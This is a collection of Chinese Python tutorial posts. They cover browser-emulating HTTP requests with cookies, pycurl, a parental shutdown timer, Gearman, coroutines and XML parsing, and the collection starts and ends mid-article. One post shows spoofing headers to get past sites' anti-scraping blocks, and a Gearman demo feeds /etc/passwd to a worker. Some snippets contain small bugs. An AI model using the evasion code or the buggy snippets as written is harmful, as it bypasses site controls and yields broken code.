已有的FMS集群包含了超过200台服务器，我只需要15台就可以取代他们，而且其中只有10台在真正提供服务。这就等于200除以10，等于20
倍的性能提高。大概我在这个项目里最大的收获就是我不应让自己受阻于学习新技能的困难。具体说来，Python、转码、面向对象编程，这些都是我在做这个
项目之前缺少专业经验的概念。

这个信念，以及实现你自己的方案的信心，会给你带来很大的回报。

【1】后来，当我们把新代码投入生产，我们又遇到了硬件问题，因为我们使用老的sr2500 Intel架构服务器，由于它们的PCI总线带宽太低，不能支持10
Gbit的以太网卡。没辙，我们只好把它们用在1-4×1 Gbit的以太网池中（把多个网卡的性能汇总为一个虚拟网卡）。最终，我们获得了一些更新的sr2600
i7 Intel架构服务器，它们通过光纤达到了无性能损耗的10 Gbps带宽。所有上述汇总的结果都是基于这样的硬件条件来计算的。

程序模拟浏览器请求及会话保持-python实现

2018-01-01T00:00:00+08:00

# 程序模拟浏览器请求及会话保持-python实现

python下读取一个页面的数据可以通过urllib2轻松实现请求



    import urllib2
    print urllib2.urlopen('http://www.pythontab.com').read()

涉及到页面的POST请求操作的话需要提供头信息，提交的post数据和请求页面。

其中的post数据需要urllib.encode()一下，其实就是将字典转换成“data1=value1&data2=value2”的格式。



    import urllib
    import urllib2
     
    HEADER = {
        'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
        'Referer' : 'http://202.206.1.163/logout.do'
    }
     
    POSTDATA = {
        'data1': 'value1',
        'data2': 'value2'
    }
     
    HOSTURL = 'http://xxx.com'
     
    enpostdata = urllib.urlencode(POSTDATA)
    urlrequest = urllib2.Request(hosturl,enpostdata,HEADER)
    urlresponse = urllib2.urlopen(urlrequest)
     
    print urlresponse.read()

请求之后浏览器会有一个会话保持的过程，会话都是保存在一个cookie里面的，下一次页面的请求会把cookie放到请求头，如果cookie丢失会话也就断开了。

在python下面需要设置一下cookie的保持



    # cookie set
    # 用来保持会话
    cj = cookielib.LWPCookieJar()
    cookie_support = urllib2.HTTPCookieProcessor(cj)
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
    urllib2.install_opener(opener)

下面是将以上知识点汇总写的一个库文件，方便使用：



    # filename: analogop.py
     
    #!/usr/bin/python
    # -*-coding:UTF-8 -*-
     
    # author: 初行
    # qq: 121866673
    # mail: zxbd1016@163.com
    # message: I need a python job
    # time: 2014/10/8
     
    import urllib
    import urllib2
    import cookielib
     
    # cookie set
    # 用来保持会话
    cj = cookielib.LWPCookieJar()
    cookie_support = urllib2.HTTPCookieProcessor(cj)
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
    urllib2.install_opener(opener)
     
    # default header
    HEADER = {
        'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
        'Referer' : 'http://202.206.1.163/logout.do'
    }
     
    # operate method
    def geturlopen(hosturl, postdata = {}, headers = HEADER):
        # encode postdata
        enpostdata = urllib.urlencode(postdata)
        # request url
        urlrequest = urllib2.Request(hosturl, enpostdata, headers)
        # open url
        urlresponse = urllib2.urlopen(urlrequest)
        # return url
        return urlresponse

这个是测试文件，因为读者没有测试环境，需要自己搭建或者找个网站测试：



    #filename: test.py
    from analogop import geturlopen
     
    postd = {
        'usernum': '2011411111',
        'upw': '124569',
        'userip': '192.168.10.1',
        'token': 'xxx'
    }
     
    urlread = geturlopen('http://127.0.0.1:8000/login/', postd)
    print urlread.read().decode('utf-8')
    urlread = geturlopen('http://127.0.0.1:8000/chafen/', {})
    print urlread.read().decode('utf-8')

纯Python的ODBC库 PyPyODBC 1.0 发布

2018-01-01T00:00:00+08:00

# 纯Python的ODBC库 PyPyODBC 1.0 发布

纯Python的ODBC库PyPyODBC 1.0 发布，新版本同时兼容于Python2.x和Python3.3。

PyPyODBC是一个Python ODBC库，它可以被视为著名的PyODBC库的纯Python实现，它们的用法几乎完全一样——就像是PyPy用Python
山寨了Python，PyPyODBC用Python山寨了PyODBC。

而基于纯Python代码的特质给PyPyODBC库带来极大的兼容性、可嵌入性和代码移植性——PyPyODBC可以运行在CPython，IronPython和
PyPy虚拟机下，可以运行在Windows，Linux平台下，可以运行在Python
3.3、2.4、2.5、2.6、2.7等版本下，可以被嵌入在项目中，而无需在运行环境额外编译和安装Python ODBC库模块。

其他亮点：

简单轻便 - PyPyODBC库只有一个Python脚本文件，代码不超过3000行。你可以很容易就把它嵌入到你的项目中。

内建Access MDB支持 - 在Windows平台上，PyPyODBC即可自行创建Access数据库而无需安装微软Office套件。

代码示例



    import pypyodbc
    pypyodbc.win_create_mdb('D:\\database.mdb') 
    connection_string = 'Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\database.mdb'
    connection = pypyodbc.connect(connection_string) 
    SQL = 'CREATE TABLE saleout (id COUNTER PRIMARY KEY,product_name VARCHAR(25))'
    connection.cursor().execute(SQL)
    ...

试用PyPyODBC

如果你有一个使用了PyODBC的脚本，如果想试一试PyPyODBC的效果，你要做的就是在这个脚本中注释掉一行代码，换成另一行代码，就像这样：



    #import pyodbc
    import pypyodbc as pyodbc

curl库pycurl实例及参数详解

2018-01-01T00:00:00+08:00

# curl库pycurl实例及参数详解

pycurl是功能强大的python的url库，是用c语言写的，速度很快，比urllib和httplib都快。

今天我们来看一下pycurl的用法及参数详解

常用方法：

pycurl.Curl() #创建一个pycurl对象的方法

pycurl.Curl().setopt(pycurl.URL, http://www.pythontab.com) #设置要访问的URL

pycurl.Curl().setopt(pycurl.MAXREDIRS, 5) #设置最大重定向次数

pycurl.Curl().setopt(pycurl.CONNECTTIMEOUT, 60)

pycurl.Curl().setopt(pycurl.TIMEOUT, 300) #连接超时设置

pycurl.Curl().setopt(pycurl.USERAGENT, "Mozilla/5.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 1.1.4322)") #模拟浏览器

pycurl.Curl().perform() #服务器端返回的信息

pycurl.Curl().getinfo(pycurl.HTTP_CODE) #查看HTTP的状态 类似urllib中status属性

pycurl.NAMELOOKUP_TIME 域名解析时间

pycurl.CONNECT_TIME 远程服务器连接时间

pycurl.PRETRANSFER_TIME 连接上后到开始传输时的时间

pycurl.STARTTRANSFER_TIME 接收到第一个字节的时间

pycurl.TOTAL_TIME 上一请求总的时间

pycurl.REDIRECT_TIME 如果存在转向的话，花费的时间

pycurl.EFFECTIVE_URL

pycurl.HTTP_CODE HTTP 响应代码

pycurl.REDIRECT_COUNT 重定向的次数

pycurl.SIZE_UPLOAD 上传的数据大小

pycurl.SIZE_DOWNLOAD 下载的数据大小

pycurl.SPEED_UPLOAD 上传速度

pycurl.HEADER_SIZE 头部大小

pycurl.REQUEST_SIZE 请求大小

pycurl.CONTENT_LENGTH_DOWNLOAD 下载内容长度

pycurl.CONTENT_LENGTH_UPLOAD 上传内容长度

pycurl.CONTENT_TYPE 内容的类型

pycurl.RESPONSE_CODE 响应代码

pycurl.SPEED_DOWNLOAD 下载速度

pycurl.SSL_VERIFYRESULT

pycurl.INFO_FILETIME 文件的时间信息

pycurl.HTTP_CONNECTCODE HTTP 连接代码

pycurl.HTTPAUTH_AVAIL

pycurl.PROXYAUTH_AVAIL

pycurl.OS_ERRNO

pycurl.NUM_CONNECTS

pycurl.SSL_ENGINES

pycurl.INFO_COOKIELIST

pycurl.LASTSOCKET

pycurl.FTP_ENTRY_PATH



实例：



    import StringIO
    import pycurl
     
    c = pycurl.Curl()
    str = StringIO.StringIO()
    c.setopt(pycurl.URL, "http://www.pythontab.com")
    c.setopt(pycurl.WRITEFUNCTION, str.write)
    c.setopt(pycurl.FOLLOWLOCATION, 1)
     
    c.perform()
    print c.getinfo(pycurl.EFFECTIVE_URL)

熟悉php的朋友可能已经发现了， 这个curl库的使用方法非常类似于php的curl。

大量小文件存储提高效率要点详解

2018-01-01T00:00:00+08:00

# 大量小文件存储提高效率要点详解

在WEB开发中经常会遇到写文件的情况，最常见的莫过于保存图片文件。如果是文件数量不多，那我们完全没有必要担心其效率问题。但是当你有大量的用户，大量的图片的时
候，我们怎么存储图片文件，就会直接影响整个图片存储系统的效率。

通常，有一种说法是：如1个目录下有10000个子文件，那么读取某个文件的速度将会明显下降。那这种说法到底正确不正确呢？下面我们来看一下：

问：为什么单目录下子文件过多会影响性能?如1个目录下有10000个子文件，那么读取某个文件的速度将会明显慢下来?这和文件索引有关吗?索引中如何组织这些节点?

　　答：是的，与索引有关。1w个不算多。上百万个就看出来了。但是建议不要超过10000个。

　　问：上百万个慢是文件系统整体吧，那么和当前目录怎么关系上呢?一个差不多的文件系统支持几百万个文件不算什么

　　答：我是说一个目录下，不分子目录，直接放他几十万上百万的文件，此时检索这个目录索引很费资源。

　　支持数量有限是因为目录这个对象本身容纳的大小有被限制，目录就是一个容纳文件名和文件对应inode号的容器，被限制了，那么容纳的条目也就被限制了。

　　读取某个文件速度没影响。但是查找就费劲了。某些文件系统的索引机制不完善，甚至没有什么优化算法，致使每次查找耗费更多的时间。



从上面的问答我们可以知道，“如1个目录下有10000个子文件，那么读取某个文件的速度将会明显下降。”的说法是对的。那如何分目录呢？



其实也比较简单，可以按月份分，hash分，时间加hash组合分，至于用哪种方法，那就要看你的项目需求了。。。

当我在玩python的时候我玩些什么

2018-01-01T00:00:00+08:00

# 当我在玩python的时候我玩些什么

文章背景

　　家里的第一台电脑是在2006年夏天买的，10年上大学之后基本上就没人用，过没两年就当二手卖给一个熟人。

　　弟弟小我10岁，今年刚上初一。他在我毕业前半年就整天用妈妈的手机发短信给我，问我什么时候把学校里的台式机寄回家给他用。虽然从小就一直因为玩电脑的问题跟爸
妈时不时有点小别扭，可是我还是非常鼓励弟弟接触电脑和网络的。可能有人会说小孩子就只会玩游戏，玩游戏怎么了？小孩子的天性不就是玩嘛，在娱乐的过程中其实是可以潜
移默化地学会许多计算机日常使用的知识，还可以通过互联网跟已经认识、尚未认识的朋友进行沟通交流，好处多多的是。

然而，凡事都得有个度。初中生不可能像我们成年人一样懂得克制自己（且不说很多大人都会沉迷在这个虚拟世界里），我就萌生了写一个程序限制弟弟平日玩电脑时间的想法。

技术选型

　　其实我的第一想法是用Java，因为平时用的最多的就是它，而且除了C++之外就没有再用过别的语言。

　　程序的基本思路

用一个txt文件记录电脑的一天内累计使用时间

累计使用时间超过若干小时就会自动关机

程序开机自动运行

　　为什么我最后选择了python

　　想着怎么写、搜资料的时候就发现Java并不适合，虽然不是不能实现，但有好几个问题解决起来都有点麻烦。对我这么一个“懒”程序员来说，已经构成了“弃用”的充
分理由。就举一个简单的例子好了，最后会使用系统的关机命令实现自动关机这个功能，用Java+运行windows命令搜出来一大堆东西，看着就头疼。毕竟是业余时间
玩玩，没必要这么耗脑子。

　　可是用python就只需要用到两行代码！



    #关机命令       
    cmd="cmd.exe /k shutdown -s -t 0";
    #执行关机命令
    os.system(cmd)

动手写代码

在网上一通乱搜之后，很快就把测试用的代码给写出来了。



    #! /usr/bin/env python
    #coding=utf-8
    import os 
    import time   
    import datetime   
    #根据是否工作日设置限制时间
    if datetime.date.today().weekday()<5:
        timeLimit = 20
    else:
        timeLimit = 40
    #读取文本中记录的日期
    f = open('E:\\thefile.txt','r+')
    f_date = f.readline()
    f.close
    #读取系统日期，并与文本日期进行比对
    #如果不相等，则清空文件，进行当日初始化
    n_date = time.strftime("%d/%m/%Y")+"\n"
    if f_date != n_date:
        print("sucessed")
        f = open('E:\\thefile.txt','r+')
        f.truncate()
        f.close
        f = open('E:\\thefile.txt','r+')
        f.write((n_date))
        run_time="0"
        f.write(run_time)
        f.close
    #死循环语句，当且仅当运行时间大于等于限制时间时跳出循环
    while 2 > 1 :
        f = open('E:\\thefile.txt','r+')
        f_date = f.readline()
        run_time = f.readline()
        run = int(run_time)
    #设置五分钟休眠，两个作用：1.避免频繁读写 2.第二次开机后可以避免频繁关机
        time.sleep(300)
        if run<timeLimit:
            run = run + 1
            f.truncate()
            f.close
            f = open('E:\\thefile.txt','r+')
            f.write(f_date)
            run_time = str(run)
            f.write(run_time)
            f.close
        else:
            break
    #关机命令       
    cmd="cmd.exe /k shutdown -s -t 0";
    #执行关机命令
    os.system(cmd)



为了方便大家理解程序，再把txt文件中的内容贴出来以供参考




    01/10/2014
    20

需要特别提出的几个点

第一，因为需要实现开机自启动，所以要把python文件复制到系统的“启动”文件夹里。

第二，由于.py文件启动后会有控制台界面出现，非常影响使用效果，因此要把.py文件的后缀改成.pyw。

第三，不需要担心如果自己想要用电脑的话会受到这个限制，只要在开机5分钟内把python进程关掉即可（上面代码的time.sleep(300)）。



周一到周五，弟弟能用电脑的时间最多只能是两个小时；而周末，则是四个小时。

感想

1.虽然这只是一个很简单的小程序，几乎可以说是毫无难度可言，但是起到的作用还是挺大的。因为我跟哥哥工作都不在家，平时都是妈妈管着弟弟，每次都要盯着他，不能让
他玩电脑太长时间，有的时候要很大声地让他快点关机写作业。现在，只要大家商量好平时用电脑的时间，设定好参数就行。妈妈可以安心地做自己的事情，弟弟也可以心安理得
地玩他想玩的游戏。（制定规则，以一种便捷和不容分辨的方式执行，而这种方式和途径就是减少摩擦的润滑剂）

2\. 平时工作都是用Java，业余时间用别的语言（例如python）玩玩是一个蛮有趣的做法。以兴趣和小作品作为驱动，说不定以后能成为你跳槽或者转型的凭借。

3\. 作为程序员，编程是我们的饭碗，同时也可以是我们改变生活、转变思路的工具，哪怕这种影响在别人看来微不足道。



文章转自：http://www.cnblogs.com/levenyes/p/4003681.html

得到一张图片或logo的主要颜色（颜色趋向）python版

2018-01-01T00:00:00+08:00

# 得到一张图片或logo的主要颜色（颜色趋向）python版



在使用google或者baidu搜图的时候会发现有一个图片颜色选项，感觉非常有意思，有人可能会想这肯定是人为的去划分的，呵呵，有这种可能，但是估计人会累死，
开个玩笑，当然是通过机器识别的，海量的图片只有机器识别才能做到。

那用python能不能实现这种功能呢？答案是：能



利用python的PIL模块的强大的图像处理功能就可以做到，下面上代码：



    import colorsys
     
    def get_dominant_color(image):
        
    #颜色模式转换，以便输出rgb颜色值
        image = image.convert('RGBA')
        
    #生成缩略图，减少计算量，减小cpu压力
        image.thumbnail((200, 200))
        
        max_score = None
        dominant_color = None
        
        for count, (r, g, b, a) in image.getcolors(image.size[0] * image.size[1]):
            # 跳过纯黑色
            if a == 0:
                continue
            
            saturation = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)[1]
           
            y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)
           
            y = (y - 16.0) / (235 - 16)
            
            # 忽略高亮色
            if y > 0.9:
                continue
            
            # Calculate the score, preferring highly saturated colors.
            # Add 0.1 to the saturation so we don't completely ignore grayscale
            # colors by multiplying the count by zero, but still give them a low
            # weight.
            score = (saturation + 0.1) * count
            
            if score > max_score:
                max_score = score
                dominant_color = (r, g, b)
        
        return dominant_color
    如何使用：
    from PIL import Image
     
    print  get_dominant_color(Image.open('logo.jpg'))



这样就会返回一个rgb颜色，但是这个值是很精确的范围，那我们如何实现百度图片那样的色域呢？？

其实方法很简单，r/g/b都是0-255的值，我们只要把这三个值分别划分相等的区间，然后组合，取近似值。例如：划分为0-127,和128-255，然后自由组
合，可以出现八种组合，然后从中挑出比较有代表性的颜色即可。

当然我只是举一个例子，你也可以划分的更细，那样显示的颜色就会更准确~~大家赶快试试吧

电影里的代码之《机械姬》：筛法求质数

2018-01-01T00:00:00+08:00

# 电影里的代码之《机械姬》：筛法求质数

今天看了《机械姬》，探讨人工智能话题的电影，豆瓣评分7.5，还是蛮不错的一部电影。影片1:09:29处出现了一段python代码，细看了一下，发现是筛法求质
数的python代码，写得非常简练的。先贴个电影的截图：

![](http://segmentfault.com/img/bVrC3n)

影片里的代码略微有点模糊，我重新打一遍，是下面这个样子的




    #coding:utf8
    import sys
    def sieve(n):
        #compute primes using sieve eratosthenes
        x = [1] * n
        x[1] = 0
        for i in range(2,n/2):
            j = 2 * i
            while j < n:
                x[j] = 0
                j = j + i
        return x
    def prime(n,x):
        #Find nth prime
        i = 1
        j = 1
        while j <= n:
            if x[i] == 1:
                j = j + 1
            i = i + 1
        return i-1
    x = sieve(10000)
    code = [1206,301,384,5]
    key = [1,1,2,2]
    sys.stdout.write("".join(chr(i) for i in [73,83,66,78,32,61,22]))
    for i in range(0,4):
        sys.stdout.write(str(prime(code[i],x)-key[i]))

代码的最后打印出来下面这个很奇怪的东西，目测是一本书的ISBN，上豆瓣查了一下，是Embodiment and the Inner
Life，是关于思维、意识的内容的，和本片的主题息息相关。



    ISBN =9780199226559[Finished in 0.1s]

重点还是前面的两个函数实现的筛法求质数。首先介绍一下什么是筛法，筛法相传是古希腊的埃拉托斯特尼发明的一种检测素数的算法。筛法的思路非常简单，可以用下面的动图
来描述。给定一个范围，首先用2去筛，把所有2的倍数都筛掉，然后再用3筛，用5筛，不断重复下去......

![](http://segmentfault.com/img/bVcNM5)

再来看代码



    def sieve(n):             //对n以内的数进行筛选，返回一个长度为n的布尔数组
        #compute primes using sieve eratosthenes
        x = [1] * n         //定义长度为n的布尔数组（实际上电影里用1和0来表示true和false了）
        x[1] = 0            //1既不是素数也不是合数，设为0
        for i in range(2,n/2)://i从2开始一直到n/2
            j = 2 * i    //j从2倍i开始
            while j < n:
                x[j] = 0  //把所有i的倍数筛除
                j = j + i //下一个i的倍数
        return x          //返回数组
    def prime(n,x):   //求第n个素数，只需要在筛选好的布尔数组中找第n个标记为1的数就可以了
        #Find nth prime
        i = 1    //初始化为1
        j = 1
        while j <= n:   //在布尔数组中寻找第n个标记为1的数
            if x[i] == 1:
                j = j + 1
            i = i + 1
        return i-1    //前面循环中i多加了一次，返回时需要减1

可以看到，使用筛法求第n个质数的时间复杂度为O(n)，缺点在需要提前求得筛选的结果，增加了空间复杂度，筛选结果可以用比特位来表示以节省空间。



此外还有一个问题，在求第n个质数的时候，如何要确定第n个质数的大致范围，以确定筛选结果的布尔数组长度。根据素数定理，可以用来估算某个范围内的素数个数，可以用
公式x/ln(x)来描述，ln表示自然对数，假设要估计10000以内有多少质数，代入公式10000/ln(10000)得到的结果为1085.73,使用上面的
筛法得到的10000以为的质数个数为1229，可以看到估计值比实际值略小一点，估计的范围越大，估计值与实际值的误差越小。实际使用中可以通过公式计算估计值，然
后按一定百分比扩大范围即可。



文章转自: http://segmentfault.com/a/1190000004162829

二分法查找介绍及实例详解

2018-01-01T00:00:00+08:00

# 二分法查找介绍及实例详解

### 二分法检索介绍

二分法检索（binary search）又称折半检索，二分法检索的基本思想是设字典中的元素从小到大有序地存放在数组（array）中，

首先将给定值key与字典中间位置上元素的关键码(key)比较，如果相等，则检索成功；

否则，若key小，则在字典前半部分中继续进行二分法检索;

若key大，则在字典后半部分中继续进行二分法检索。

这样，经过一次比较就缩小一半的检索区间，如此进行下去，直到检索成功或检索失败。

偶数个取中间2个其中任何一个作为中间元素

二分法检索是一种效率较高的检索方法，要求字典在顺序表中按关键码排序。

### 代码实例：



    #!/usr/bin/env python
    import sys 
    def BinarySearch(haystack, needle):
      low = 0 
      high = len(haystack) - 1 
      while(low <= high):
        mid = (low + high)/2
        midval = haystack[mid]
        if midval < needle:
          low = mid + 1 
        elif midval > needle:
          high = mid - 1 
        else:
          print mid 
          return mid 
      print -1
      return -1
    if __name__ == "__main__":
      haystack = [int(i) for i in list(sys.argv[1])]
      needle = int(sys.argv[2])
      BinarySearch(haystack ,needle)



运行:



    python@pythontab:~$ python BinarySearch.py 123456789 4
    3



### 备注:

1.'__'：由于python的类成员都是公有、公开的被存取public，缺少像正统面向对象语言的私有private属性。

于是就用__来将就一下，模拟私有属性。这些__属性往往是内部使用，通常情况下不用改写。也不用读取。

加上2个下划线的目的，一是不和普通公有属性重名冲突，二是不让对象的使用者(非开发者)随意使用。



2.__name__ == "__main__"表示程序脚本是直接被执行的.

如果不等于表示脚本是被其他程序用import引入的.则其__name__属性被设为模块名

分别用python2和python3伪装浏览器爬取网页内容

2018-01-01T00:00:00+08:00

# 分别用python2和python3伪装浏览器爬取网页内容

python网页抓取功能非常强大，使用urllib或者urllib2可以很轻松的抓取网页内容。但是很多时候我们要注意，可能很多网站都设置了防采集功能，不是那
么轻松就能抓取到想要的内容。

今天我来分享下载python2和python3中都是如何来模拟浏览器来跳过屏蔽进行抓取的。

## 最基础的抓取：



    #! /usr/bin/env python
    # -*- coding=utf-8 -*-
    # @Author pythontab
    import urllib.request
    url = "http://www.pythontab.com"
    html = urllib.request.urlopen(url).read(）
    print(html)



但是...有些网站不能抓取，进行了防采集设置，所以我们要变换一下方法

## python2中（最新稳定版本python2.7）



    #! /usr/bin/env python
    # -*- coding=utf-8 -*- 
    # @Author pythontab.com
    import urllib2
    url="http://pythontab.com"
    req_header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
                 'Accept':'text/html;q=0.9,*/*;q=0.8',
                 'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
                 'Accept-Encoding':'gzip',
                 'Connection':'close',
                 'Referer':None #注意如果依然不能抓取的话，这里可以设置抓取网站的host
                 }
    req_timeout = 5
    req = urllib2.Request(url,None,req_header)
    resp = urllib2.urlopen(req,None,req_timeout)
    html = resp.read()
    print(html)

## python3中（最新稳定版本python3.3）



    #! /usr/bin/env python
    # -*- coding=utf-8 -*- 
    # @Author pythontab
    import urllib.request

    url = "http://www.pythontab.com"
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
                 'Accept':'text/html;q=0.9,*/*;q=0.8',
                 'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
                 'Accept-Encoding':'gzip',
                 'Connection':'close',
                 'Referer':None #注意如果依然不能抓取，这里可以设置抓取网站的host
                 }

    opener = urllib.request.build_opener()
    opener.addheaders = [headers]
    data = opener.open(url).read()
    print(data)

分布式任务系统GEARMAN FOR PYTHON初探

2018-01-01T00:00:00+08:00

# 分布式任务系统GEARMAN FOR PYTHON初探

了解Gearman，请访问gearman官网：http://gearman.org/index.php?id=getting_started

Gearman for Python API Doc: http://pythonhosted.org/gearman/



++++++++++++++++++++++++++++++++++++++++++++

安装Gearman:

++++++++++++++++++++++++++++++++++++++++++++

基础依赖库：



    yum install boost-devel libevent-devel sqlite-devel libuuid-devel
    wget https://launchpad.net/gearmand/trunk/0.33/+download/gearmand-0.33.tar.gz  
    tar xzvf gearmand-0.33.tar.gz  
    cd gearmand-0.33  
    ./configure 
    make 
    make install

++++++++++++++++++++++++++++++++++++++++++++

安装Gearman Python客户端

++++++++++++++++++++++++++++++++++++++++++++



    wget http://pypi.python.org/packages/source/g/gearman/gearman-2.0.2.tar.gz#md5=3847f15b763dc680bc672a610b77c7a7  
        tar xvzf  gearman-2.0.2.tar.gz  
        python setup.py install

获取直接用自动安装： easy_install gearman

启动服务：gearmand -d

启动Worker：gearman -w -f wc -- wc -l &

-w 代表启动的是worker，-f wc 代表启动一个task名字为wc， -- wc -l表示这个task是做wc -l 统计行数。

启动Client：gearman -f wc < /etc/passwd

++++++++++++++++++++++++++++++++++++++++++++

python work代码：

++++++++++++++++++++++++++++++++++++++++++++



    import os  
    import gearman  
    import math        
    class MyGearmanWorker(gearman.GearmanWorker):    
        def on_job_execute(self, current_job):    
            print "Job started"  
            return super(MyGearmanWorker, self).on_job_execute(current_job)

    def task_callback(gearman_worker, gearman_job):    
        print gearman_job.data   
        return gearman_job.data

    my_worker = MyGearmanWorker(['192.168.0.75:4730'])    
    my_worker.register_task("echo", task_callback)    
    my_worker.work()

++++++++++++++++++++++++++++++++++++++++++++

python client代码：

++++++++++++++++++++++++++++++++++++++++++++



    from gearman import GearmanClient        
    gearman_client = GearmanClient(['192.168.0.75:4730'])  
    gearman_request = gearman_client.submit_job('echo', 'foo')  
    result_data = gearman_request.result  
    print result_data

高性能python编程之协程(stackless)

2018-01-01T00:00:00+08:00

# 高性能python编程之协程(stackless)

我们都知道并发（不是并行）编程目前有四种方式，多进程，多线程，异步，和协程。

多进程编程在python中有类似C的os.fork，当然还有更高层封装的multiprocessing标准库，在之前写过的python高可用程序设计方法ht
tp://www.cnblogs.com/hymenz/p/3488837.html中提供了类似nginx中master process和worker
process间信号处理的方式，保证了业务进程的退出可以被主进程感知。

多线程编程python中有Thread和threading，在linux下所谓的线程，实际上是LWP轻量级进程，其在内核中具有和进程相同的调度方式，有关LW
P，COW（写时拷贝），fork，vfork，clone等的资料较多，这里不再赘述。

异步在linux下主要有三种实现select，poll，epoll，关于异步不是本文的重点。

说协程肯定要说yield，我们先来看一个例子：




    #coding=utf-8
    import time
    import sys
    # 生产者
    def produce(l):
        i=0
        while 1:
            if i < 5:
                l.append(i)
                yield i
                i=i+1
                time.sleep(1)
            else:
                return
         
    # 消费者
    def consume(l):
        p = produce(l)
        while 1:
            try:
                p.next()
                while len(l) > 0:
                    print l.pop()
            except StopIteration:
                sys.exit(0)
    l = []
    consume(l)

在上面的例子中，当程序执行到produce的yield
i时，返回了一个generator，当我们在custom中调用p.next()，程序又返回到produce的yield
i继续执行，这样l中又append了元素，然后我们print l.pop()，直到p.next()引发了StopIteration异常。

通过上面的例子我们看到协程的调度对于内核来说是不可见的，协程间是协同调度的，这使得并发量在上万的时候，协程的性能是远高于线程的。




    import stackless
    import urllib2
    def output():
        while 1:
            url=chan.receive()
            print url
            f=urllib2.urlopen(url)
            #print f.read()
            print stackless.getcurrent()
        
    def input():
        f=open('url.txt')
        l=f.readlines()
        for i in l:
            chan.send(i)
    chan=stackless.channel()
    [stackless.tasklet(output)() for i in xrange(10)]
    stackless.tasklet(input)()
    stackless.run()

关于协程，可以参考greenlet,stackless,gevent,eventlet等的实现。

横向对比分析Python解析XML的4种方式

2018-01-01T00:00:00+08:00

# 横向对比分析Python解析XML的4种方式

在最初学习PYTHON的时候，只知道有DOM和SAX两种解析方法，但是其效率都不够理想，由于需要处理的文件数量太大，这两种方式耗时太高无法接受。

在网络搜索后发现，目前应用比较广泛，且效率相对较高的ElementTree也是一个比较多人推荐的算法，于是拿这个算法来实测对比，ElementTree也包括
两种实现，一个是普通ElementTree（ET），一个是ElementTree.iterparse（ET_iter）。

本文将对DOM、SAX、ET、ET_iter四种方式进行横向对比，通过处理相同文件比较各个算法的用时来评估其效率。

程序中将四种解析方法均写为函数，在主程序中分别调用，来评估其解析效率。

解压后的XML文件内容示例为：

![](http://www.pythontab.com/uploadfile/2017/0620/20170620070611296.png)

主程序函数调用部分代码为：



      print("文件计数：%d/%d." % (gz_cnt,paser_num))
      str_s,cnt = dom_parser(gz)
      #str_s,cnt = sax_parser(gz)
      #str_s,cnt = ET_parser(gz)
      #str_s,cnt = ET_parser_iter(gz)
      output.write(str_s)
      vs_cnt += cnt

在最初的函数调用中函数返回两个值，但接收函数调用值时用两个变量分别调用，导致每个函数都要执行两次，之后修改为一次调用两个变量接收返回值，减少了无效调用。

### 1、DOM解析

函数定义代码：



    def dom_parser(gz):
      import gzip,cStringIO
      import xml.dom.minidom
      
      vs_cnt = 0
      str_s = ''
      file_io = cStringIO.StringIO()
      xm = gzip.open(gz,'rb')
      print("已读入：%s.\n解析中：" % (os.path.abspath(gz)))
      doc = xml.dom.minidom.parseString(xm.read())
      bulkPmMrDataFile = doc.documentElement
      #读入子元素
      enbs = bulkPmMrDataFile.getElementsByTagName("eNB")
      measurements = enbs[0].getElementsByTagName("measurement")
      objects = measurements[0].getElementsByTagName("object")
      #写入csv文件
      for object in objects:
        vs = object.getElementsByTagName("v")
        vs_cnt += len(vs)
        for v in vs:
          file_io.write(enbs[0].getAttribute("id")+' '+object.getAttribute("id")+' '+\
          object.getAttribute("MmeUeS1apId")+' '+object.getAttribute("MmeGroupId")+' '+object.getAttribute("MmeCode")+' '+\
          object.getAttribute("TimeStamp")+' '+v.childNodes[0].data+'\n') #获取文本值
      str_s = (((file_io.getvalue().replace(' \n','\r\n')).replace(' ',',')).replace('T',' ')).replace('NIL','')
      xm.close()
      file_io.close()
      return (str_s,vs_cnt)

程序运行结果：

**************************************************

程序处理启动。

输入目录为：/tmcdata/mro2csv/input31/。

输出目录为：/tmcdata/mro2csv/output31/。

输入目录下.gz文件个数为：12，本次处理其中的12个。

**************************************************

文件计数：1/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_234598_20160224060000.xml.gz.

解析中：

文件计数：2/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_233798_20160224060000.xml.gz.

解析中：

文件计数：3/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_123798_20160224060000.xml.gz.

解析中：

………………………………………

文件计数：12/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_235598_20160224060000.xml.gz.

解析中：

VS行计数：177849，运行时间：107.077867，每秒处理行数：1660。

已写入：/tmcdata/mro2csv/output31/mro_0001.csv。

**************************************************

程序处理结束。

由于DOM解析需要将整个文件读入内存，并建立树结构，其内存消耗和时间消耗都比较高，但其优点在于逻辑简单，不需要定义回调函数，便于实现。

### 2、SAX解析

函数定义代码：



    def sax_parser(gz):
      import os,gzip,cStringIO
      from xml.parsers.expat import ParserCreate
      #变量声明
      d_eNB = {}
      d_obj = {}
      s = ''
      global flag 
      flag = False
      file_io = cStringIO.StringIO()
      
      #Sax解析类
      class DefaultSaxHandler(object):
        #处理开始标签
        def start_element(self, name, attrs):
          global d_eNB
          global d_obj
          global vs_cnt
          if name == 'eNB':
            d_eNB = attrs
          elif name == 'object':
            d_obj = attrs
          elif name == 'v':
